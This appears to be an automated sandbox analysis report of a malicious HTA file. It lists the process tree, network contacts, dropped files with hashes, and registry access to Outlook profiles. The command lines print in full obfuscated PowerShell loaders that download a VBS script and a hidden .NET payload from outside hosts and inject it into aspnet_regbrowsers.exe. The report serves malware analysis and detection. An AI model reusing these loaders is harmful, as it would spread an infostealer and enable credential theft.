PID 4552 wrote to memory of 3216 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE
PID 3216 wrote to memory of 916 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3216 wrote to memory of 916 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3216 wrote to memory of 916 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3216 wrote to memory of 4228 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3216 wrote to memory of 4228 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 3216 wrote to memory of 4228 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4228 wrote to memory of 1612 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4228 wrote to memory of 1612 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4228 wrote to memory of 1612 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3216 wrote to memory of 1068 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 3216 wrote to memory of 1068 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 3216 wrote to memory of 1068 N/A C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE C:\Windows\SysWOW64\WScript.exe
PID 1068 wrote to memory of 3380 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1068 wrote to memory of 3380 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1068 wrote to memory of 3380 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3380 wrote to memory of 2652 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3380 wrote to memory of 2652 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3380 wrote to memory of 2652 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
PID 2652 wrote to memory of 4044 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\534eb483ce1b60f8fdaf67d6a9bbbe6b100247860f85706d2a0dbd86e55de528.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE

"C:\Windows\sySTem32\wINDOwsPoWerSHElL\v1.0\PowErsHEll.exE" "POWerSHeLl -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE ; iEX($(iEx('[sysTEm.TeXt.eNCOdiNG]'+[CHAR]0X3A+[cHar]0X3A+'UTf8.GEtSTrINg([sysTEm.conVerT]'+[ChAr]58+[CHar]0x3A+'FrOmbASE64StriNG('+[CHar]34+'JHljNFhtWktpaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZXJEZUZpTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1PbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEphQ3p6SUFkSE9OLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhiLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVGpGLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhoQ0ZaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVENKIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aFAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHljNFhtWktpajo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy41Mi8xMzAvc2VldGhlYmVzdHRoaW5nc2V2ZXJtYWRld2l0aG1lY2hhcmFjdGVybmV2ZXJjaGFuZ2UudElGIiwiJGVudjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NldmVybWFkZXdpdGhtZWNoYXJhY3Rlcm5ldmVyY2gudmJzIiwwLDApO1N0QXJULXNMRUVwKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZXZlcm1hZGV3aXRobWVjaGFyYWN0ZXJuZXZlcmNoLnZicyI='+[cHaR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC63E.tmp" "c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\CSC3201133FAB410990B4FA1EEA111A55.TMP"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWkNHaW1hZ2VVcmwnKycgPSBrcndodHRwczovLzEwMTcuZmlsZW1haWwuYycrJ29tJysnL2FwaS9maWxlL2dldD9maWxla2V5PTJBYV9iVycrJ285JysnUmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVElDZkZobVRLajMnKydMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MScrJzRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDQnKydmIGtydztaQ0d3ZWJDbGllbicrJ3QgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuVycrJ2ViQ2xpZW50O1pDR2ltYWdlQnl0ZXMgPSBaQ0d3ZWJDbGllbnQuRG93bmxvYWREYScrJ3RhKFpDR2ltYWdlVXJsKTtaQ0dpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhaQ0dpbWFnJysnZUJ5dGVzKTtaQ0dzdGEnKydydEZsYWcgPSBrcnc8PEJBU0U2NF9TVEFSVD4+a3J3O1pDR2VuZEZsYWcgPSBrJysncnc8PEJBUycrJ0U2NCcrJ19FTkQ+PmtydztaQ0dzdGFydEknKyduZGV4ID0gWkNHaW1hZ2VUZXh0LkluZGV4T2YoWkNHc3RhcnRGbGFnKTtaQ0dlbmRJbmRlJysneCA9IFpDR2ltYWcnKydlVGV4dC5JbmRleE9mKFpDR2VuZEZsYWcpO1pDR3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBaQ0dlbmRJbmRleCAtZ3QgWkNHc3RhcnRJbmRleDtaQ0dzdGFydEluZGV4ICs9IFpDR3MnKyd0YXJ0RmxhZy5MZW5ndGg7WkNHYmFzZTY0TGVuZ3RoID0gWkNHZW5kSW5kZXggLSBaQ0dzdGFydEluZGV4O1pDR2Jhc2U2NENvbW0nKydhbmQgPSBaQ0dpbWFnZVRleHQuU3Vic3RyaW5nKFpDR3N0YXInKyd0SW5kZXgsIFpDR2Jhc2U2NExlbmd0aCk7WicrJ0NHYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWkNHYmFzZTY0QycrJ29tbWFuZC5UbycrJ0NoYXJBcnJheSgpIFpXMyBGb3JFYWNoLU9iamVjdCB7IFpDR18gfSlbLTEuLi0oWkNHYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtaQ0djb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3QnKydyaW5nKFpDR2Jhc2U2NFJldmVycycrJ2VkKTtaQ0dsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGknKydvbi5Bc3NlbWJseV06OkxvYWQoJysnWkNHY29tbWFuZEJ5dGVzKTtaQ0d2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGtyd1ZBSWtyJysndyk7WkMnKydHdmFpTWV0aG9kLkludm9rZShaQ0dudWxsLCBAKGtyd3R4dCcrJy5MRUxMUE1TLzAnKyczMS8yNS43Ljg2MS40MDEvLzpwdHRoa3J3LCBrcncnKydkZXNhdGl2YWRvJysna3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndhc3BuZXRfcmVnYnJvd3NlcnNrcncsIGtyd2Rlc2F0aXZhZG9rJysncncsIGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGknKyd2YWRva3J3LGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGl2YWRva3InKyd3LGtydzFrcncsa3J3JysnZGVzYXRpdmFkb2tydykpJysnOycpLXJlUGxBQ0UnWkNHJyxbQ2hhcl0zNiAgLWNSZXBsQWNFICAoW0NoYXJdOTArW0NoYXJdODcrW0NoYXJdNTEpLFtDaGFyXTEyNC1jUmVwbEFjRSdrcncnLFtDaGFyXTM5KXwmICggJEVOdjpjb21TcEVDWzQsMjYsMjVdLWpvaW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('ZCGimageUrl'+' = krwhttps://1017.filemail.c'+'om'+'/api/file/get?filekey=2Aa_bW'+'o9'+'Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3'+'LC6SQtIcOc_T35w&pk_vid=fd4f61'+'4bb209c62c1730945176a0904'+'f krw;ZCGwebClien'+'t = New-Object System.Net.W'+'ebClient;ZCGimageBytes = ZCGwebClient.DownloadDa'+'ta(ZCGimageUrl);ZCGimageText = [System.Text.Encoding]::UTF8.GetString(ZCGimag'+'eBytes);ZCGsta'+'rtFlag = krw<<BASE64_START>>krw;ZCGendFlag = k'+'rw<<BAS'+'E64'+'_END>>krw;ZCGstartI'+'ndex = ZCGimageText.IndexOf(ZCGstartFlag);ZCGendInde'+'x = ZCGimag'+'eText.IndexOf(ZCGendFlag);ZCGstartIndex -ge 0 -and ZCGendIndex -gt ZCGstartIndex;ZCGstartIndex += ZCGs'+'tartFlag.Length;ZCGbase64Length = ZCGendIndex - ZCGstartIndex;ZCGbase64Comm'+'and = ZCGimageText.Substring(ZCGstar'+'tIndex, ZCGbase64Length);Z'+'CGbase64Reversed = -join (ZCGbase64C'+'ommand.To'+'CharArray() ZW3 ForEach-Object { ZCG_ })[-1..-(ZCGbase64Command.Length)];ZCGcommandBytes = [System.Convert]::FromBase64St'+'ring(ZCGbase64Revers'+'ed);ZCGloadedAssembly = [System.Reflecti'+'on.Assembly]::Load('+'ZCGcommandBytes);ZCGvaiMethod = [dnlib.IO.Home].GetMethod(krwVAIkr'+'w);ZC'+'GvaiMethod.Invoke(ZCGnull, @(krwtxt'+'.LELLPMS/0'+'31/25.7.861.401//:ptthkrw, krw'+'desativado'+'krw, krwdesativadokrw, krwdesativadokrw, krwaspnet_regbrowserskrw, krwdesativadok'+'rw, krwdesativadokrw,krwdesativadokrw,krwdesati'+'vadokrw,krwdesativadokrw,krwdesativadokrw,krwdesativadokr'+'w,krw1krw,krw'+'desativadokrw))'+';')-rePlACE'ZCG',[Char]36 -cReplAcE ([Char]90+[Char]87+[Char]51),[Char]124-cReplAcE'krw',[Char]39)|& ( $ENv:comSpEC[4,26,25]-join'')"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 104.168.7.52:80 104.168.7.52 tcp
US 8.8.8.8:53 52.7.168.104.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 104.168.7.52:80 104.168.7.52 tcp
DE 94.156.177.220:80 94.156.177.220 tcp
DE 94.156.177.220:80 94.156.177.220 tcp
DE 94.156.177.220:80 94.156.177.220 tcp
US 8.8.8.8:53 220.177.156.94.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
DE 94.156.177.220:80 94.156.177.220 tcp

Files

memory/3216-0-0x000000007194E000-0x000000007194F000-memory.dmp

memory/3216-1-0x0000000002950000-0x0000000002986000-memory.dmp

memory/3216-3-0x00000000054A0000-0x0000000005AC8000-memory.dmp

memory/3216-2-0x0000000071940000-0x00000000720F0000-memory.dmp

memory/3216-4-0x0000000005280000-0x00000000052A2000-memory.dmp

memory/3216-5-0x0000000005420000-0x0000000005486000-memory.dmp

memory/3216-6-0x0000000005BD0000-0x0000000005C36000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ww0nuq41.fox.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3216-16-0x0000000005C40000-0x0000000005F94000-memory.dmp

memory/3216-17-0x0000000006240000-0x000000000625E000-memory.dmp

memory/3216-18-0x0000000006280000-0x00000000062CC000-memory.dmp

memory/916-28-0x0000000006D40000-0x0000000006D72000-memory.dmp

memory/916-29-0x000000006E200000-0x000000006E24C000-memory.dmp

memory/916-39-0x0000000006D20000-0x0000000006D3E000-memory.dmp

memory/916-40-0x00000000079F0000-0x0000000007A93000-memory.dmp

memory/916-41-0x0000000008120000-0x000000000879A000-memory.dmp

memory/916-42-0x00000000077C0000-0x00000000077DA000-memory.dmp

memory/916-43-0x0000000007AF0000-0x0000000007AFA000-memory.dmp

memory/916-44-0x0000000007D10000-0x0000000007DA6000-memory.dmp

memory/916-45-0x0000000007C80000-0x0000000007C91000-memory.dmp

memory/916-46-0x0000000007CB0000-0x0000000007CBE000-memory.dmp

memory/916-47-0x0000000007CC0000-0x0000000007CD4000-memory.dmp

memory/916-48-0x0000000007DD0000-0x0000000007DEA000-memory.dmp

memory/916-49-0x0000000007D00000-0x0000000007D08000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.cmdline

MD5 eca0e1f59790d34d8d322cce2663317d
SHA1 01ba5f5e762a6e9cd1b5c2c57ce358f9ae38e3fe
SHA256 3b72d4d66dedf462a255b8148db9ac3874ef7d6358d3df4e9162d5f63d3802e2
SHA512 43cfc30d2b90e888ff59b979321f757eb4678bcb8e1d15c2e05193936bff0c6f299de5977d3ef122dcc2f3b9cd8d678267d0ddd3977c52e948ed94dbea0da765

\??\c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.0.cs

MD5 e090c5c356e4a5968670e0e1d5b7061a
SHA1 58e057fd814332db04008226b600f24678a74884
SHA256 dfda423d8587c14087a2e1610cbf9a38a780afb0974fa39be6b275f375153d20
SHA512 35a2f34fdfeefdcd297aa7ad6f8a2f833885fec60cd4f7798568e9e11294d352dc665d215bb7b7b27ffe5124b6f85c912e2445839167128b397965c1c2eb4217

\??\c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\CSC3201133FAB410990B4FA1EEA111A55.TMP

MD5 44e10f8b18829fc2c74bfef4baf449c2
SHA1 a120de92f16e07c1959e9eefef395abb8a1c4d47
SHA256 3626daa0a914bbf93a13a744a2da57126f3248da4eef70e0c18dbff242d68e3a
SHA512 697cc4ef1665914790034fd8e12d97c09a672a56d6ea59ca5610851617a4c4ca49d94684799c5c665f3001c21d0bf737eb336fc685c2be51dd10090dba13a8aa

C:\Users\Admin\AppData\Local\Temp\RESC63E.tmp

MD5 0f7eb318f9eef5f38f35454dd8a5723a
SHA1 7d29f90207fba852970a0db8b7ff6f7146ade40f
SHA256 590fc407a3024aadfedc095da9e30c0f181f6485c73138f6d2b381afc9f55955
SHA512 308547720f305dbd58b5bd3b87f24bc27ade00a6a4127fb87482b672be1808f4c07aca1682211df8ad6bb7eed05a1a011f172e526b5cc372131d676635aac86d

C:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.dll

MD5 1f9d36680aa1433615d665dd7b5ba8fa
SHA1 380fd773cd1b8d1ceefe01c1864b6a83a5ad5e34
SHA256 9bbad54f25feaafc05f9e0b1d324ef6778b340b810bb31e523914a70f50f8e88
SHA512 ce57b1807c7f12114ce04e7f5a13c1b5c861502d03b72ca86c02ccec4c9fbf7bf859a6b92a25acb3a37e0ed4cf68fecaaad7c9639326984b50df8995da7a298d

memory/3216-64-0x0000000006810000-0x0000000006818000-memory.dmp

memory/3216-70-0x0000000007610000-0x0000000007632000-memory.dmp

memory/3216-71-0x00000000086F0000-0x0000000008C94000-memory.dmp

memory/3216-74-0x000000007194E000-0x000000007194F000-memory.dmp

C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs

MD5 53d91892aead994ebd8ddc00f67b3d20
SHA1 817443e7db1cf26edb38767a540f834ba284d4df
SHA256 a8db688b3aeb1886027644bc593ee1d43a78ae0137d53bba4d62ec186da9fd06
SHA512 e024d38488a9b1778fc2a3efcb10afd6121d7b923c710b9e843f31c367de80f052269cbae90665e4778cdbc563668e543e1aa40f63cf5374bcc7370a63314d08

memory/3216-75-0x0000000071940000-0x00000000720F0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c63356cf14774c3589b227f046ea4216
SHA1 2f00f2f700d01b2d2af36d5b69810dac9b7e98c4
SHA256 8859ad42417f413003de747d36064dd419dd85ad22ef7440d7824f6ffb0a5b01
SHA512 e1c1b36c038277b6d9bfac8f7c3f03a910d0cf4b70dca028615dd6154767036b6a2b6f857a66d4719b97928dd2e5daca755a266064a009b1a22d63560a814406

memory/3216-80-0x0000000071940000-0x00000000720F0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowErsHEll.exE.log

MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

memory/3380-90-0x00000000062A0000-0x00000000065F4000-memory.dmp

memory/2652-102-0x0000000007B60000-0x0000000007CB8000-memory.dmp

memory/2652-103-0x0000000007D60000-0x0000000007DFC000-memory.dmp

memory/4044-104-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/4044-105-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d473060dffc65bf2af0506a5b27228f
SHA1 28faea1e8c4eef41b905614101bfb3720d505b87
SHA256 de906f43177753b937548a9634d2d6f9dec494e996e024e66f559222058d6536
SHA512 f850cf955a6954d448c6738ab6858bce926f72415009304cd6c4fa1485702d443650eb3268f3ca9ae7082eae7aec7c35e9818cd3d28ab63509137c3c9e12a12c

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

memory/4044-129-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/4044-137-0x0000000000400000-0x00000000004A2000-memory.dmp